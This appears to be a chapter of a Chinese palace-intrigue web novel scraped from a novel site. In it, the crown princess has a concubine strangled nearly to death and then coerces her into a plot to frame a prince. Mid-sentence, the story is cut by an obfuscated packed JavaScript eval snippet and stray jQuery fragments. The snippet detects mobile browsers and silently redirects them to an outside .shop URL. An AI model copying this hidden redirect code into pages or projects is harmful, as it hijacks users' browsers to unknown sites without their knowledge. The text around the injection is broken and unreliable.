文趣网 > 其他小说 > 昨夜东风和煦 > 16. 绞杀
    郑风颜被关了半个月,期间卫楚珩来过好几次东宫。

    兰姑姑故技重施,卫楚珩大多配合,只是郑风颜不想再见他。

    她要不闭眼装睡,要不背着身子不搭理人,卫楚珩依只是笑笑,没作过多停留。

    这日晚间,兰姑姑奉命将她带到徐映月跟前。

    清晖殿内静谧如水,只听得见徐映月自个儿持棋对弈的声音。

    郑风颜被按跪在地上,不得动弹,她默默噎口水,时不时用余光瞟上方。

    她知道徐映月要要兴师问罪了,只是不知这次会使什么手段。

    两侧立着数名婢女,面色肃然,手背在身后,像是拿了什么东西。

    那高举的刀却迟迟未落下,像是暴风雨前的片刻宁静,气氛紧得吓人。

    徐映月落下最后一枚玉子,摆袖端起热茶,慢条斯理咀了两口。

    随即,一记眼风扫过去。

    郑风颜身子一抖。

    那三五婢女立即上前来,俩人缚住郑风颜双臂,俩人扯开三尺白绫一把勒住她脖子。

    郑风颜大骇!她双手拽着白绫,惊声求饶,“太,太子妃,有话好好说……”

    “砰”的一声,徐映月甩出手中茶盏,砸向郑风颜额头。

    郑风颜又是一抖,脑袋疼得嗡嗡响,顺着额角流下的不知是茶水还是血水,叶片沾在眼睫上,眼前顿时一片模糊。

    “本宫跟你好好说话的时候,你不知珍惜,现下本宫已经失了耐心,动手!”

    “不要——”

    白绫越勒越紧,一点点挤压掉胸腔里气息。

    郑风颜脑袋痛得发懵,恶心目眩,压在喉间的话,一个字也发不出。

    不多时,金光乍现,意识开始变得模糊。

    恍惚中好像看见了面目模糊的奶奶,她笑着来接她,摸着她的头,轻柔地说:“阿韵乖,不哭。”

    “阿韵,奶奶护着你,不怕……”

    泪水漫出眼角,幼时与奶奶相依为命的画面一一闪现,她挣扎的动作逐渐小了下去。

    兰姑姑见郑风颜面色由红转青,以及快阖上的眸子,赶紧跪下求情,“太子妃,求您停手吧,再这样下去侧妃就真的死了。”

    “侧妃年纪尚小,又长在那种地方,不通人情也是有的,我再劝劝她,太子妃饶命啊!”兰姑姑上前去,不停地磕着头。

    徐映月松松抬手。

    施刑的婢女稍稍松了点儿劲,气息猛然灌入,腥辣呛人。

    郑风颜剧烈咳嗽,青灰面色又涨红起来。

    她微微掀开眸子,入目之景在破碎中剧烈摇晃,一片摞着一片,看不真切,也辨不分明。

    四肢瘫软在地。

    “多谢太子妃高抬贵手。”兰姑姑跪爬到郑风颜身边,轻轻将她扶起。

    “高抬贵手?”徐映月冷笑,踱步下来,居高临下地睨着奄奄一息的郑风颜。

    “如果不能为本宫所用,养着你岂不是白费粮食?”

    她俯身,抬起郑风颜下颌,缓道:“如此美丽的皮相,倒是可惜了。”

    郑风颜一睁眼,对上的就是那双带有杀意的凤眸,看来这次,她是真的要杀了她。

    死到临头,倒也释然了。

    从犹如刀割的喉咙里挤出几个字,“我不服……”

    凭什么有人生来高贵,肆意践踏微末!凭什么性命在己,要任凭他人宰割!

    殿外传来动静。

    “太子殿下,殿下,太子妃吩咐谁都不能进去。”

    “大胆!放肆!”卫忻珞推开挡在身前的婢女,夺步进殿。

    “太子妃,你这是做什么呀?”他上前去,拨开徐映月的手,将虚弱无力的郑风颜搂进怀中。

    先前侍从来报,说看见郑风颜被扣到清晖殿,他猜想徐映月要大发雷霆,没想到她竟想直接将人打杀了。

    郑风颜恢复了些力气,直起腰,将卫忻珞推开。

    一丘之貉,假慈悲罢了。

    徐映月也像是沾惹了晦气般,拍了拍手起身。

    “太子殿下倒是会怜香惜玉,近日朝中盛传东宫势大,欺压钰王,不知殿下可想好了应对之策?”

    东宫喜夜失火一事,虽圣上刻意压下,到底还是传得人云亦云,主流说法是东宫忌惮钰王,故铤而走险,蓄意行凶。

    “那朝中还有人说九弟窝藏野心、故作贤王呢,他现在不是督建东宫吗,要不孤也自导自演嫁祸他一次?”

    卫忻珞又伸手去扶郑风颜,怪道:“好好的,你拿侧妃撒什么气。”

    郑风颜撇开胳膊。

    徐映月摆手屏退所有下人,勾唇道:“太子殿下,本宫亲自去明月坊挑的人,可不是真的要给你做侧妃,上次说得还不够明白吗?”

    郑风颜呼吸滞住,抬眸盯着徐映月,“竟然是你……”

    “不错,小十一,没有本宫,你现在恐怕还在那暗无天日的地方摇尾乞怜呢。”徐映月唇角挂着笑,缓缓走了两步。

    “你的一切,本宫都了如指掌,你要怎么不服?”

    “那日混出城门是不是很开心,很得意,你以为你能逃得掉吗?”

    郑风颜背脊生寒,手心冒汗,胸腔闷得上不来气。

    她缓吸一口气,黯淡的眼神落到那盘精致的玉子上,或许这就是她的命运。

    还以为是卫忻珞选的她,原来是徐映月,她从始至终都在冷眼看她的笑话。

    猫捉老鼠般,纵一会儿,捏一会儿,再渐渐将你逼入死角,一口咬死。

    卫忻珞眨眼,不明就里道:“什么明月坊?逃什么?”

    徐映月睨着他,“殿下不若随宁王一起招猫逗狗好了,安宁快活,哪需要动什么脑筋。”

    “孤不喜欢猫狗!”

    徐映月闭眼,呼吸有些不畅,沉声道:“那就滚出去,别做一些莫名其妙的事。”

    卫忻珞摸鼻,指着郑风颜道:“在侧妃面前,太子妃能不能给孤留些颜面。”

    “滚!”

    “那……那你别在为难她。”

    郑风颜见卫忻珞忙不迭踱了出去,心又沉了几分。

    徐映月尚不把高高在上的太子放在眼中,更遑论她这种微末蝼蚁。

    “小十一,你可想清楚了,是要活,还是现在就死?”

    郑风颜无力再挣扎,轻问:“太子妃是要利用我,给钰王扣上觊觎兄嫂、罔顾人伦的帽子,然后呢,他会如何,我又会如何?”

    “他会因有夺嫡之嫌被逐出宴京,当一辈子的闲散王爷,至于你——”

    “你不是想要自由吗,本宫予你就是。”

    郑风颜沉默,生死予夺本就在她一念之间,她的话怎能相信!

    况且,若想遮掩皇室丑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911914|213147||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    闻,她这个“当事人”必死无疑。

    “为什么是我?”

    “这要问你自己了。”

    郑风颜根本看不透徐映月那高深莫测的眼神,她像遮天蔽日的阴云一样,压得人喘不过气来。

    比起殷坊主的暴躁和狠厉,这种密不透风的压迫感,更让人心生畏惧。

    一番生死较量后,郑风颜被放了出来,住回泊棠院。

    兰姑姑见她神色恍然,不禁安慰道:“侧妃既然答应了,不如好好办事,今后说不定有别的转机。”

    “谢谢。”

    兰姑姑明白她是在感谢自己先前为她求情,有些别扭道:“应该的,你别往心里去,好好活着才有希望。”

    郑风颜垂眸,满脸落寞,“我也想好好活着,可总是事与愿违。”

    “侧妃不要丧气,人活着就要往前看。”

    她轻轻点头。

    眼下再悲戚也无济于事,与虎谋皮就与虎谋皮吧,总好过立下人头落地。

    除了兰姑姑,采荷和绿蓉并不知晓东宫所谋何事,俩人虽觉得多有奇怪,却也没敢往那方面想。

    绿蓉一面替郑风颜拆着发髻,一边试探地问:“侧妃,近日可有什么发现?”

    她不问,郑风颜倒是忘了她是殷坊主派来的细作。

    殷坊主竟能手眼通天到,轻易将人安排到东宫,还精准地放到她身边。

    郑风颜拽下她手中梳子,自己梳头,假装疑惑地问:“你在说什么?”

    她不想透漏自己早已知情,毕竟会模仿声音这件事,越少人知道越好。

    至于徐映月有没有查出来不重要,她的小命本就牢牢握在她手中。

    绿蓉那夜骤然被迷晕,错过了去前庭紫竹园接头,后来得知有人替她接了头,担惊受怕了好些日子。

    现下见郑风颜被安然放出来,得赶紧与她坦白身份,问些消息将功补过。

    绿蓉凑过去低声道:“主子让侧妃盯紧东宫,一有风吹草动就传信回去。”

    “那你盯呗,有事就给她传消息,我就当没看见。”

    “……我不过是一介小小婢女,能探得什么重要消息,还是要劳烦侧妃。”

    郑风颜一把将梳子拍在妆台,提声道:“那你传信告诉她,就说我同意了。”

    绿蓉见威胁的话还没说,郑风颜就一口答应,立马喜笑颜开,“那太好了,侧妃,我这就去给你研磨,这段时间定然有不少有用消息吧。”

    “等等——”

    “啊?”

    “我说的是,我同意她取王家性命了,你写信告诉她。”

    “……”绿蓉愣在原地。

    郑风颜起身拍拍她的肩膀,语重心长道:“去吧,行事小心些,别让人瞧见了。”

    绿蓉抬手抹额,莫名觉得郑风颜有点飒爽,为了反抗主子,竟连阖族性命也不顾了。

    郑风颜想不明白的是,徐映月既然能从殷坊主手里将她带出来,东宫定然与明月坊是有交情的,可殷坊主现下还要她监视东宫作甚。

    殷坊主作为末流商贾,开口闭口都是要杀人全族的话,想来背有大靠山。

    至于其背后势力是谁,与东宫是敌是友,暂时还不得而知。

    她若一气之下,拿王家人撒气才好,也算是替她报了仇。

    偏偏这么多年都只是嘴上说说。